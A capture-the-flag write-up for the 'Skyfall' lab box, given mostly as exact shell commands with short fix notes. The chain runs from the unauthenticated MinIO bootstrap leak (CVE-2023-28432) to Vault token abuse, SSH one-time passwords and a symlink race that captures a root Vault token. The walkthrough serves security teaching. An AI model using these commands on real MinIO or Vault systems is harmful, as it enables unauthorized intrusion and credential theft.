Skyfall
Summary
I enumerated virtual-host names from the target's nginx frontend and discovered an undocumented MinIO S3 back-end that responded to an unauthenticated cluster-bootstrap API call (CVE-2023-28432), leaking the storage root credentials. Those credentials unlocked an S3 bucket containing a home-directory backup; pulling older object versions recovered a .bash_history file embedding a HashiCorp Vault token.
The token could request one-time-password SSH credentials for user askyy via the Vault SSH secrets engine, giving an authenticated shell and the user flag. On the box, askyy held a NOPASSWD sudo rule for a vault-unseal binary that wrote a debug log, including a Vault master token, to a directory askyy controlled.
A symlink race redirected that write to an externally readable file, capturing the master token. The master token had access to the admin SSH OTP role, issuing a one-time root SSH password and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export TOKEN2="<the-token-you-captured>"
export AWS_ACCESS_KEY_ID="<a-password-you-choose>"Some commands also carry a value in angle brackets (<old-version-id>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Add all discovered vhosts to local DNS resolution.
$ echo "$TARGET skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb" | sudo tee -a /etc/hostsScrape rendered HTML for internal hostname references.
$ curl -s http://$TARGET/ -H 'Host: demo.skyfall.htb' | grep -Eio '[a-z0-9.-]*skyfall\.htb[a-z0-9./-]*' | sort -uConfirm the MinIO back-end host exists (expect 403).
$ curl -si http://prd23-s3-backend.skyfall.htb/Exact commands 1
Unauthenticated call to the bootstrap endpoint; look for MINIO_ROOT_USER and MINIO_ROOT_PASSWORD in the JSON response.
$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | python3 -m json.toolFixPatch MinIO to eliminate the unauthenticated bootstrap information-disclosure endpointCritical
Exact commands 5
Set MinIO root credentials as AWS CLI environment variables.
$ export AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=$PASSWORD3List all S3 buckets accessible with the root credentials.
$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3 lsEnumerate all versions of every object in the askyy bucket; note the VersionId values for home_backup.tar.gz.
$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api list-object-versions --bucket askyyDownload the older, credential-containing version; replace <old-version-id> with the non-current VersionId from the previous command.
$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api get-object --bucket askyy --key home_backup.tar.gz --version-id <old-version-id> home_backup.tar.gzExtract the backup and locate the embedded Vault token in shell history.
$ tar xzf home_backup.tar.gz && grep -iE 'hvs\.' home/askyy/.bash_historyFixScrub credentials from shell history and restrict access to home-directory backupsHigh
Exact commands 3
Add the internal Vault host to local resolution.
$ echo "$TARGET prd23-vault-internal.skyfall.htb" | sudo tee -a /etc/hostsRequest a one-time SSH password for askyy from the Vault dev role.
$ T="$TOKEN"
K=$(curl -s -H "X-Vault-Token: $T" -X POST \
-d '{"ip":"'"$TARGET"'","username":"askyy"}' \
http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role \
| grep -oP '"key":"\K[^"]+')
echo "ASKYY_OTP=$K"Authenticate with the OTP; output confirms uid=1000(askyy) and prints <user.txt>.
$ sshpass -p "$K" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no askyy@$TARGET 'id; cat ~/user.txt'FixRestrict Vault token permissions to the minimum required roleHigh
Exact commands 2
From askyy SSH session: list allowed sudo commands without a password.
$ sudo -l
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml -[vhd]+$ and NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yamlRead the Vault unseal configuration to understand what secrets the process handles.
$ cat /etc/vault-unseal.yamlExact commands 4
Create a working directory owned by askyy.
$ mkdir -p /home/askyy/race && cd /home/askyy/raceBackground loop: continuously re-create debug.log as a symlink to /home/askyy/leak.
$ while true; do ln -sfn /home/askyy/leak debug.log 2>/dev/null; done &Repeatedly trigger vault-unseal in debug mode so root writes the master token while the symlink is in place.
$ for i in $(seq 1 20); do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d 2>/dev/null; sleep 0.2; doneRead the redirected debug output and extract the captured master Vault token.
$ grep -iE 'hvs\.' /home/askyy/leakFixPrevent the vault-unseal service from writing secrets to a user-controlled directoryCritical
Exact commands 2
Use the master Vault token to request a one-time SSH password for root.
$ MT="$TOKEN2"
K=$(curl -s -H "X-Vault-Token: $MT" -X POST \
-d '{"ip":"'"$TARGET"'","username":"root"}' \
http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role \
| grep -oP '"key":"\K[^"]+')
echo "ROOT_OTP=$K"Authenticate as root with the OTP; prints uid=0(root) and <root.txt>.
$ sshpass -p "$K" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no root@$TARGET 'id; cat /root/root.txt'
uid=0(root)FixRevoke and scope the Vault master token; enforce role separation between dev and admin SSH rolesCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |